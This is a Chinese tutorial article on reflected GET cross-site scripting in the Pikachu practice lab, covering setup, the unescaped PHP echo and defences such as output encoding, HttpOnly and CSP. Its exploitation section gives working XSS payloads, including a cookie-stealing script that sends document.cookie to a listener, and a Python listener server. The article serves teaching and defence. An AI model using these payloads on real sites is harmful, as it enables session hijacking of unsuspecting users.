ARTICLE DETAIL

资讯详情

深耕网站建设、视觉设计与SEO优化的一线实战洞察。

反射型XSS(GET)实战解析:从Pikachu靶场到防御策略

反射型XSS(GET)实战解析:从Pikachu靶场到防御策略 很多人学反射型XSS(get)的方式就是在Pikachu靶场页面里提交一句scriptalert(1)/script弹个窗截个图觉得自己已经会了。但真到了面试或者做防御的时候被问一句“这个恶意参数是怎么从URL一路走到页面上的”往往就答不上来。这恰恰说明练靶场不能只追求“过关”要把数据流和原理拆开看。Pikachu是国内很流行的一套PHP漏洞练习平台名字取自“皮卡丘”里面把XSS、SQL注入、CSRF、SSRF、RCE、反序列化等常见Web漏洞都做成了独立模块非常适合安全初学者、开发人员和运维同学在本地环境练手。我今天想重点聊的是其中最简单、也最容易被低估的一个入口反射型XSS(get)。这个模块表面上只是让你在输入框里提交内容并回显但它其实是理解XSS形成机制、区分GET和POST差异、以及掌握URL编码细节的绝佳起点。如果你刚开始刷靶场或者一直卡在“为什么别人能弹窗我不能”这篇应该能帮上忙。1. Pikachu靶场为什么是练反射型XSS(get)的好选择1.1 靶场本身的定位和DVWA、XSS-Labs的差异Web安全靶场有不少DVWA、SQLi-Labs、XSS-Labs、Upload-Labs、Vulhub这些我都刷过一轮。DVWA的特点是每个漏洞都分low、medium、high、impossible四个等级能直观看到同一漏洞在不同防护强度下的表现XSS-Labs则是全程围绕XSS做各种过滤绕过训练适合专项冲刺Vulhub走的是Docker一键拉起真实漏洞环境的路子适合研究已知CVE和中间件漏洞。Pikachu在这批靶场里有个很特别的位置它更像“教学演示平台”。每个漏洞模块都配有简洁的说明、实际的交互表单以及故意留出来的“攻击后观察点”。比如说反射型XSS模块旁边会标注这类漏洞的形成原因、可能造成的危害然后给你一个输入框让你自己提交试试。对于刚入门的人这种“边看说明边动手”的体验比DVWA的裸页面友好得多对于已经有一定基础的人它的模块覆盖够全也能当速查手册用。而反射型XSS(get)又是Pikachu里XSS部分的第一关后面还跟着反射型XSS(post)、存储型XSS、DOM型XSS、XSS之htmlspecialchars等一串模块。把它放在第一个不是因为简单而是因为它的攻击链路最直观参数在URL里肉眼可见点一下链接就能触发非常适合用来建立对XSS的“画面感”。1.2 反射型XSS在Pikachu里的教学设计反射型XSS也叫“非持久型XSS”核心特征就是“一次性”。用户的输入经过服务端处理后直接拼接到返回的HTML里然后浏览器解析执行整个过程没有落到数据库里。你对着山谷喊一声“你好”山谷回你一声“你好”这单次往返就是“反射”二字的由来。Pikachu的反射型XSS(get)页面入口就是一个提交框占位提示文字是“输入kobe试试”。你提交普通字符串页面会在下方原样回显你提交一段能被浏览器当作脚本解析的HTML页面就会执行。这个过程把XSS的本质压缩成了一个动作输入没有被当成纯文本处理反而被当成了HTML代码的一部分。为什么Pikachu偏偏把“get”写在模块名里因为它明确告诉你这个模块里数据是通过GET请求传到服务端的也就是URL里的?messagexxx。这样你在浏览器地址栏里能看到完整的攻击载荷复制链接发给别人对方点开就中招。后面那个反射型XSS(post)则把数据挪到了请求体里攻击者没办法只靠一条链接完成投递就必须构造一个恶意表单页面诱导用户提交。两个模块连起来刷你对“数据入口”的敏感度会明显提升。2. 搭建与启动最容易卡住的几个环节2.1 Docker方式最快跑起来的路径如果你本地已经装了Docker强烈建议直接用镜像方式跑Pikachu。整个过程就两条命令省去配置PHP和MySQL的麻烦。docker pull area39/pikachu docker run -d --name pikachu -p 8089:80 area39/pikachu启动之后浏览器访问http://127.0.0.1:8089就能看到皮卡丘的首页。-p 8089:80是把容器里的80端口映射到本机的8089端口可以按需换但要注意别和本地已有服务冲突。等镜像的时候如果卡在“Error response from daemon: Get https://registry-1.docker.io/v2/ ...”这种报错基本就是拉取超时属于网络问题。解决方式是给Docker配置镜像加速地址国内常见的加速器在Docker Desktop的Settings - Docker Engine里加一行registry-mirrors: [https://docker.m.daocloud.io]保存重启后再拉一次通常就顺了。2.2 手动部署适合本地开发环境的方案不想用Docker的话手动部署也不难思路就是“PHP环境 放源码到网站根目录”。Windows上可以直接用PHPStudy或XAMPPLinux上用apt装个nginx或Apache加PHP-FPM都行。源码从GitHub上搜Pikachu项目下载解压放到Web服务器的根目录下比如D:\phpstudy_pro\WWW\pikachu。然后改配置文件inc/config.inc.php把数据库连接信息改成你本机的账号密码默认一般是root和空密码或者root和root具体看你环境。// inc/config.inc.php define(DB_HOST, 127.0.0.1); define(DB_USER, root); define(DB_PASS, root); define(DB_NAME, pikachu);这里的关键点是如果你只刷XSS模块数据库可以不配也能跑但Pikachu后面有SQL注入模块那些是需要数据库配合的。所以我建议一步到位配好避免后面想刷别的模块又要回头折腾。数据库还有一个初始化导入的动作包里通常带SQL文件创建好库之后导入即可。2.3 启动过程中见到的报错与处理我刷这个靶场时遇到过的报错大致可以归成几类列个表格方便对照现象常见原因处理方式页面白屏或PHP报错PHP版本太高老代码用了废弃函数换PHP 5.6/7.0或者在php.ini里把error_reporting调整为E_ALL ~E_DEPRECATED数据库连接失败config.inc.php里的账号密码不对核对本机MySQL账号确认服务已启动容器端口被占用本地8089已经被其他程序占用换个映射端口比如-p 8090:80访问页面样式错乱目录路径不对确认源码放在网站根目录下访问的是http://127.0.0.1/pikachu/而非其他嵌套路径这里单独说一句很多教程里提到的“靶场启动失败”其实不是Pikachu本身的锅。Pikachu不是一个独立服务它依赖Web服务器和PHP解释器。如果你用的是Docker那就是容器没跑起来如果用的是PHPStudy那就是Apache或Nginx没启动或者端口没开。排查的时候先问自己一句我访问的是一个静态页面还是PHP页面PHP页面挂了多半是PHP进程或数据库的问题先看日志别急着重装。2.4 验证靶场状态搭建完以后建议先做一次基础验证再进入XSS模块。打开首页确认能见到皮卡丘主题的页面然后点左侧菜单里的“XSS”展开后看到“反射型XSS(get)”点进去能看到一个很大的输入框占位文字写着“输入kobe试试”。我习惯先提交一个正常字符串比如hello看看下方会不会原样回显。如果能回显就说明靶场的PHP解析和页面输出都正常接下来就可以开始正式练习了。前后不超过一分钟却能帮你排除掉大量环境问题非常划算。3. 走进反射型XSS(get)模块先看数据流再谈攻击3.1 页面长什么样、参数怎么传这个模块页面布局很简单顶部一个输入框旁边一个submit按钮下面一块专门用来展示提交结果的区域。你输入任何内容点击提交页面就会刷新并在展示区输出你刚输入的内容。关键在于浏览器的地址栏。比如你在输入框里填了hello并点击提交URL会变成http://127.0.0.1:8089/vul/xss/xss_reflected_get.php?messagehellosubmitsubmit可以看到你输入的内容出现在了URL的参数message里这就是GET请求的特征。对于攻击者来说这个特征意味着不需要构造表单不需要诱导用户点击按钮只要把完整URL发给受害者诱导他访问就行了。这也是“get”和“post”两个模块最大的不同GET一旦泄露URL恶意载荷就等于直接发送出去了POST则要求攻击者额外准备一个用于提交的恶意页面。理解了这一点你在设计防御方案的时候就能意识到GET型XSS的“投递成本”有多低。3.2 数据是怎么“反射”回页面的我们在页面上看到的是“提交内容被回显”但在服务端代码层面发生的事情远比这粗糙。Pikachu对应模块的PHP逻辑大致是这样从$_GET[message]取出参数值拼接到生成的HTML字符串中然后echo输出。$message $_GET[message]; $html p classnotice . $message . /p; echo $html;这就是XSS形成的要害用户输入被直接拼进了HTML的上下文里没有经过任何转义或过滤。当你输入scriptalert(1)/script时服务端不知道也不关心它是不是代码只知道参数里有这么一段字符串原样拼进p标签之间最终浏览器收到的HTML就变成了p classnoticescriptalert(1)/script/p浏览器解析HTML时识别到script标签就会当作JavaScript执行。这个过程中服务端没有做任何“恶意”的事情问题出在“把数据放进了不该放的位置”也就是输出编码缺失。类似的戏码在SQL注入里表现为“把数据拼进了SQL语句”在命令注入里表现为“把数据拼进了系统命令”本质都是“拼接导致上下文混淆”。3.3 为什么要单独区分GET和POST两个版本不少初学者会疑惑XSS就是XSS为什么Pikachu要拆成get和post两个模块其实这两个版本漏洞成因一模一样区别全在“数据传输方式”上而这个区别会直接决定攻击者怎么构造攻击链。我画过一张对比表给自己用内容大致如下对比维度GET型POST型参数位置URL地址栏中HTTP请求体中投递恶意链接直接把完整URL发给受害者需要诱导受害者点击恶意表单页面或按钮长度限制URL和浏览器地址栏长度有限长度限制更宽松日志暴露代理、Web服务器、浏览器历史均可能记录请求体一般不进标准访问日志对练习者的启发理解URL参数是不可信输入理解POST参数同样不可信专门把GET版本单拎出来还有一个好处你拿Burp Suite抓包的时候GET请求完全不用改包直接在浏览器地址栏里改message参数就能做大量测试非常方便。把GET版本玩熟了再切到POST版本你会意识到“提交点长在哪种请求方式上”这件事本身就决定了漏洞利用的难易程度。4. 完整利用演示从弹窗到窃取Cookie4.1 第一步用普通输入找到输出位置拿到一个XSS注入点第一个动作不是急着弹窗而是先搞清楚“我的输入到底被放到了页面的哪个位置”。这一步决定了你的payload要不要闭合标签、要不要处理引号。在反射型XSS(get)的输入框提交一个独特的字符串比如pikachu-test-123然后右键查看页面源代码搜索这个字符串出现的位置。你会看到类似这样的结构p classnoticepikachu-test-123/p这说明你的输入被当成一个普通的文本节点夹在p标签内部。这个信息很关键既然它在一个标签的“内容区域”而不是HTML属性里那么最直接的payload就是自己造出一个新的标签来执行脚本不需要闭合什么引号也不需要操心属性边界。如果输入被输出到了value这里这种属性位置那就得考虑先闭合双引号和标签payload会变成scriptalert(1)/script。Pikachu的HTML属性型XSS在另一个模块里有但这里先记住这个判断思路后面刷别的题目会一直用到。4.2 第二步验证脚本能执行找到输出位置后提交最经典的验证payloadscriptalert(1)/script如果页面弹出提示框说明脚本成功执行漏洞确认存在。这一步的重点不在于“弹窗成功”而在于“确认服务端没有过滤尖括号、也没有做HTML实体编码”。弹窗只是我们用来验证代码执行的信号真正的利用早就不靠alert了。这里有一个实操细节浏览器安全机制可能干扰弹窗验证。如果你用的是老版本的Chromescript型XSS可能被XSS Auditor拦下来页面不弹窗但地址栏里明明写着payload。遇到这种情况不要急着怀疑靶场坏了可以改用Firefox测试或者把payload换成图片标签的onerror事件img srcx onerroralert(document.domain)img这种payload的好处是即使script标签被过滤或拦截它照样能通过触发事件执行JavaScript。练靶场时两种都提交一遍能帮你积累对不同渲染方式的直觉。4.3 第三步cookie窃取实验带监听服务器弹窗验证只是第一步XSS真正的危害在于它能以受害者身份做任何事。最经典的演示是窃取Cookie。下面这个实验全程在本地靶场环境完成请不要对未授权目标做类似测试。先在本地写一个极简的Python HTTP监听服务器用来接收带Cookie的回连请求from http.server import BaseHTTPRequestHandler, HTTPServer class Handler(BaseHTTPRequestHandler): def do_GET(self): print([] 收到请求:, self.path) self.send_response(200) self.end_headers() self.wfile.write(bok) if __name__ __main__: server HTTPServer((127.0.0.1, 8088), Handler) print(监听 127.0.0.1:8088 ...) server.serve_forever()终端里运行这个脚本然后在Pikachu的反射型XSS(get)输入框里提交下面的payloadscript new Image().src http://127.0.0.1:8088/?c document.cookie; /script提交后页面会尝试向127.0.0.1:8088发送一个带cookie参数的GET请求。切回运行监听脚本的终端你会看到类似输出[] 收到请求: /?cPHPSESSIDabcdef1234567890这个PHPSESSID就是靶场网站的会话标识。攻击者拿到它之后只要在本地把Cookie改成这个值就可以冒充受害者登录靶场。当然现实中的Cookie还会有HttpOnly保护document.cookie拿不到带HttpOnly标记的会话标记这就是后面要从防御角度对冲的地方。为什么用new Image().src而不是location.href来外传数据因为前者不会让当前页面跳转受害者几乎感知不到异常而且img发起的请求天然是GET请求适合这种“只发不管”的偷传场景。这个技巧在真实XSS利用里非常常见值得记下来。4.4 容易被忽略的URL编码坑前面演示的过程中你可能会注意到一个现象把完整payload粘贴到地址栏时尖括号、引号、空格这些字符会变成%3C、%22、%20之类的百分号编码。这不是什么防御机制只是URL的字符规范要求。服务端拿到请求后会自动把百分号编码还原成原始字符然后继续拼进HTML所以利用不受影响。但有一个点要特别提醒如果提交的内容里出现了符号URL解析会把它当成参数分隔符导致后续内容被截断。比如你在payload里写了?cxxxid1服务器可能只会收到?cxxxid1变成了第二个参数。如果确实需要在payload里传多个参数要么用encodeURIComponent这类编码函数处理要么在服务端日志里反复核对收到的原始请求。这种小细节往往就是真实环境里payload“莫名其妙失效”的元凶。5. 熟练之后再进阶变体、短Payload与Burp重放5.1 注入点判断不是只能在message参数上做文章Pikachu这个模块虽然只有一个message参数但你要养成一个习惯关注页面里所有由参数控制的输出点。回到抓包视角看看请求里除了message还有没有其他参数比如submit、page之类。任何被你控制并回显到页面的内容理论上都可能是注入点。在真实业务里反射型XSS经常藏在搜索关键词、翻页参数、排序字段这些“看起来人畜无害”的位置。你可以用同样的判断方法先在每个可疑参数里填一个独特的数字或字母组合再去页面源码里搜索这个组合是否出现以及出现在什么上下文里。这个方法能应对绝大多数注入点定位需求。5.2 短Payload与长度限制GET请求的URL长度是有限制的浏览器地址栏一般容忍几千个字符服务器端也可能有更严格的限制。如果哪一天你遇到一个反射型XSS点参数长度被限制得死死的完整脚本写不进去就得学会用短payload。几个常见的短小替代方案scriptalert(1)/script img srcx onerroralert(1) svg onloadalert(1) details open ontogglealert(1)svg onload和img onerror是我最喜欢用的两个字符少、兼容性好大部分现代浏览器都认。如果连尖括号都被过滤那就需要看具体过滤规则了比如用事件属性配合HTML实体编码等绕过思路。Pikachu的htmlspecialchars模块会让你直观看到“转义”后的效果这里先留个印象。5.3 用Burp Suite重放来看服务端视角浏览器地址栏直接改参数适合快速验证但如果你想精确控制每个请求、观察服务端响应与请求之间的对应关系Burp Suite更合适。一个轻量的练习流程是这样的打开Burp确保代理开着浏览器流量走Burp。在Pikachu页面上正常提交一次helloBurp里能看到完整的GET请求类似GET /vul/xss/xss_reflected_get.php?messagehellosubmitsubmit HTTP/1.1 Host: 127.0.0.1:8089把它发送到Repeater手动修改message参数改成scriptalert(1)/script发送。在响应里搜索script或pikachu-test确认它没有被过滤、没有被编码原样出现在响应HTML中。通过这种方式你可以把“攻击链条”拆成请求和响应两个独立的环节来观察。以后遇到POST型XSS、存储型XSS操作思路是一样的只是数据位置从URL挪到了请求体判断逻辑不变。6. 防御视角如果这是真实业务你该怎么堵6.1 输出编码最直接的一层防御反射型XSS的根因是“用户输入被拼接到HTML输出中且没有被正确转义”。所以最直接的防御就是在输出侧对数据做HTML上下文编码让浏览器把用户输入当作纯文本而不是可执行的标签。在PHP里最基本的做法是使用htmlspecialchars默认会把、、等字符转成HTML实体echo htmlspecialchars($message, ENT_QUOTES, UTF-8);这样用户提交的scriptalert(1)/script会变成lt;scriptgt;alert(1)lt;/scriptgt;浏览器显示出来的还是原来的字符串但不会把它当作标签解析。Pikachu后面的“XSS之htmlspecialchars”模块会演示同样的注入点经过转义后失效的过程和前面对照着看你对“为什么输出编码是刚需”会有很直观的感受。不同的输出位置需要不同的编码策略这是一个很容易被忽略的点。输出在p文本节点中做HTML实体编码就够了如果输出在value...属性里还要考虑属性值的引号转义如果输出在JavaScript代码里还得做JS上下文编码。一个笼统的htmlspecialchars并不能覆盖所有场景但它是所有方案里性价比最高的一层。6.2 输入侧过滤与内容安全策略除了在输出侧做编码输入侧也可以做限制。比如message在业务上明确是一个普通字符串那就用白名单校验只允许字母、数字、中文和常见的标点直接拒绝尖括号和引号。白名单的思路比黑名单可靠因为黑名单永远有绕过空间而白名单从一开始就限定了可接受范围。再往上走还有两层缓解措施值得部署。第一层是HttpOnly给Cookie打上这个标记后document.cookie就拿不到会话标记了前面演示的Cookie窃取攻击就会失效。第二层是CSP内容安全策略通过响应头Content-Security-Policy限制页面可以加载和执行哪些脚本。比如设置script-src self页面就只能执行本站同源下的脚本外部攻击者注入的script会被浏览器直接拦下来。6.3 给真实业务接口的检查清单刷完这个模块我在实际排查XSS风险时习惯用下面这份清单直接照抄就能用找出所有把URL参数、表单字段、请求头内容输出到页面上的代码位置。确认输出位置处于HTML文本、HTML属性、JavaScript、CSS还是URL上下文分别做对应编码。禁止直接用字符串拼接方式构造HTML尽量用成熟的模板引擎让转义成为默认行为。对所有Cookie设置HttpOnly对会话Cookie再加SameSite属性。全局配置CSP优先使用script-src self做白名单。如果老代码实在改不动退而求其次在服务端做输入校验拒绝明显包含HTML标签的请求。这些动作做完反射型XSS的风险能降到很低。但更重要的是练完Pikachu这个模块之后你在写代码或者评审代码时会下意识多看一眼“用户输入到底被放到了哪里”。这个习惯比记住几个payload有用得多。我个人在刷完反射型XSS(get)之后紧接着去刷了它的post版和htmlspecialchars版三个模块放在一起对比才真正把“数据入口、上下文转换、输出编码”这几个概念串成了一条线。如果你也想练到这个程度建议别急着往后刷SQL注入先把XSS这几个模块用同样的思路过一遍每个点都亲手抓包看一眼请求和响应收获会大得多。
返回列表